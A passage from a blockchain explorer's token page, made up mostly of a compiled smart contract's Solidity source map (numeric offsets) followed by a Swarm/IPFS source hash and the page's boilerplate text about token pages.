;11785:73;:::i;:::-;11058:807;;;;;;;;;:::o;11871:143::-;11928:5;11959:6;11953:13;11944:22;;11975:33;12002:5;11975:33;:::i;:::-;11871:143;;;;:::o;12020:663::-;12108:6;12116;12124;12173:2;12161:9;12152:7;12148:23;12144:32;12141:119;;;12179:79;;:::i;:::-;12141:119;12299:1;12324:64;12380:7;12371:6;12360:9;12356:22;12324:64;:::i;:::-;12314:74;;12270:128;12437:2;12463:64;12519:7;12510:6;12499:9;12495:22;12463:64;:::i;:::-;12453:74;;12408:129;12576:2;12602:64;12658:7;12649:6;12638:9;12634:22;12602:64;:::i;:::-;12592:74;;12547:129;12020:663;;;;;:::o;12689:332::-;12810:4;12848:2;12837:9;12833:18;12825:26;;12861:71;12929:1;12918:9;12914:17;12905:6;12861:71;:::i;:::-;12942:72;13010:2;12999:9;12995:18;12986:6;12942:72;:::i;:::-;12689:332;;;;;:::o;13027:116::-;13097:21;13112:5;13097:21;:::i;:::-;13090:5;13087:32;13077:60;;13133:1;13130;13123:12;13077:60;13027:116;:::o;13149:137::-;13203:5;13234:6;13228:13;13219:22;;13250:30;13274:5;13250:30;:::i;:::-;13149:137;;;;:::o;13292:345::-;13359:6;13408:2;13396:9;13387:7;13383:23;13379:32;13376:119;;;13414:79;;:::i;:::-;13376:119;13534:1;13559:61;13612:7;13603:6;13592:9;13588:22;13559:61;:::i;:::-;13549:71;;13505:125;13292:345;;;;:::o;13643:180::-;13691:77;13688:1;13681:88;13788:4;13785:1;13778:15;13812:4;13809:1;13802:15;13829:223;13969:34;13965:1;13957:6;13953:14;13946:58;14038:6;14033:2;14025:6;14021:15;14014:31;13829:223;:::o;14058:366::-;14200:3;14221:67;14285:2;14280:3;14221:67;:::i;:::-;14214:74;;14297:93;14386:3;14297:93;:::i;:::-;14415:2;14410:3;14406:12;14399:19;;14058:366;;;:::o;14430:419::-;14596:4;14634:2;14623:9;14619:18;14611:26;;14683:9;14677:4;14673:20;14669:1;14658:9;14654:17;14647:47;14711:131;14837:4;14711:131;:::i;:::-;14703:139;;14430:419;;;:::o;14855:221::-;14995:34;14991:1;14983:6;14979:14;14972:58;15064:4;15059:2;15051:6;15047:15;15040:29;14855:221;:::o;15082:366::-;15224:3;15245:67;15309:2;15304:3;15245:67;:::i;:::-;15238:74;;15321:93;15410:3;15321:93;:::i;:::-;15439:2;15434:3;15430:12;15423:19;;15082:366;;;:::o;15454:419::-;15620:4;15658:2;15647:9;15643:18;15635:26;;15707:9;15701:4;15697:20;15693:1;15682:9;15678:17;15671:47;15735:131;15861:4;15735:131;:::i;:::-;15727:139;;15454:419;;;:::o;15879:351::-;15949:6;15998:2;15986:9;15977:7;15973:23;15969:32;15966:119;;;16004:79;;:::i;:::-;15966:119;16124:1;16149:64;16205:7;16196:6;16185:9;16181:22;16149:64;:::i;:::-;16139:74;;16095:128;15879:351;;;;:::o;16236:180::-;16284:77;16281:1;16274:88;16381:4;16378:1;16371:15;16405:4;16402:1;16395:15;16422:410;16462:7;16485:20;16503:1;16485:20;:::i;:::-;16480:25;;16519:20;16537:1;16519:20;:::i;:::-;16514:25;;16574:1;16571;16567:9;16596:30;16614:11;16596:30;:::i;:::-;16585:41;;16775:1;16766:7;16762:15;16759:1;16756:22;16736:1;16729:9;16709:83;16686:139;;16805:18;;:::i;:::-;16686:139;16470:362;16422:410;;;;:::o;16838:180::-;16886:77;16883:1;16876:88;16983:4;16980:1;16973:15;17007:4;17004:1;16997:15;17024:185;17064:1;17081:20;17099:1;17081:20;:::i;:::-;17076:25;;17115:20;17133:1;17115:20;:::i;:::-;17110:25;;17154:1;17144:35;;17159:18;;:::i;:::-;17144:35;17201:1;17198;17194:9;17189:14;;17024:185;;;;:::o;17215:220::-;17355:34;17351:1;17343:6;17339:14;17332:58;17424:3;17419:2;17411:6;17407:15;17400:28;17215:220;:::o;17441:366::-;17583:3;17604:67;17668:2;17663:3;17604:67;:::i;:::-;17597:74;;17680:93;17769:3;17680:93;:::i;:::-;17798:2;17793:3;17789:12;17782:19;;17441:366;;;:::o;17813:419::-;17979:4;18017:2;18006:9;18002:18;17994:26;;18066:9;18060:4;18056:20;18052:1;18041:9;18037:17;18030:47;18094:131;18220:4;18094:131;:::i;:::-;18086:139;;17813:419;;;:::o;18238:191::-;18278:3;18297:20;18315:1;18297:20;:::i;:::-;18292:25;;18331:20;18349:1;18331:20;:::i;:::-;18326:25;;18374:1;18371;18367:9;18360:16;;18395:3;18392:1;18389:10;18386:36;;;18402:18;;:::i;:::-;18386:36;18238:191;;;;:::o;18435:177::-;18575:29;18571:1;18563:6;18559:14;18552:53;18435:177;:::o;18618:366::-;18760:3;18781:67;18845:2;18840:3;18781:67;:::i;:::-;18774:74;;18857:93;18946:3;18857:93;:::i;:::-;18975:2;18970:3;18966:12;18959:19;;18618:366;;;:::o;18990:419::-;19156:4;19194:2;19183:9;19179:18;19171:26;;19243:9;19237:4;19233:20;19229:1;19218:9;19214:17;19207:47;19271:131;19397:4;19271:131;:::i;:::-;19263:139;;18990:419;;;:::o;19415:194::-;19455:4;19475:20;19493:1;19475:20;:::i;:::-;19470:25;;19509:20;19527:1;19509:20;:::i;:::-;19504:25;;19553:1;19550;19546:9;19538:17;;19577:1;19571:4;19568:11;19565:37;;;19582:18;;:::i;:::-;19565:37;19415:194;;;;:::o

Swarm Source

ipfs://44b956b141811f9a9cccc01b9f1754d0e7914a4615ae108bf61b8111d290a474
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.